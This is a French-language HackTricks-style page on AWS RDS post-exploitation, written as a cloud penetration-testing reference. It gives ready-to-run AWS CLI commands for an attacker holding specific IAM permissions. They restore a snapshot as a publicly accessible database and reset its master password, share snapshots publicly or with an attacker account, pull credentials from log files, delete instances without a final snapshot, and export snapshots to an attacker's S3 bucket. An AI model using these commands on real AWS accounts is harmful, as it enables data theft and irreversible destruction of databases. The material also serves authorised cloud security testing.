AWS - RDS Post Exploitation

Support HackTricks

RDS

Pour plus d'informations, consultez :

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si l'attaquant a suffisamment de permissions, il pourrait rendre une DB accessible publiquement en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaquant avec ces permissions pourrait créer un instantané d'une DB et le rendre publiquement disponible. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de cet instantané.

Si l'attaquant n'a pas le rds:CreateDBSnapshot, il pourrait tout de même rendre autres instantanés créés publics.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaquant disposant de la permission rds:DownloadDBLogFilePortion peut télécharger des portions des fichiers journaux d'une instance RDS. Si des données sensibles ou des identifiants d'accès sont accidentellement enregistrés, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impact potentiel : Accès à des informations sensibles ou actions non autorisées utilisant des identifiants compromis.

rds:DeleteDBInstance

Un attaquant avec ces permissions peut DoS les instances RDS existantes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impact potentiel : Suppression des instances RDS existantes et perte potentielle de données.

rds:StartExportTask

À faire : Tester

Un attaquant ayant cette permission peut exporter un instantané d'instance RDS vers un bucket S3. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impact potentiel : Accès à des données sensibles dans l'instantané exporté.

Soutenir HackTricks

Last updated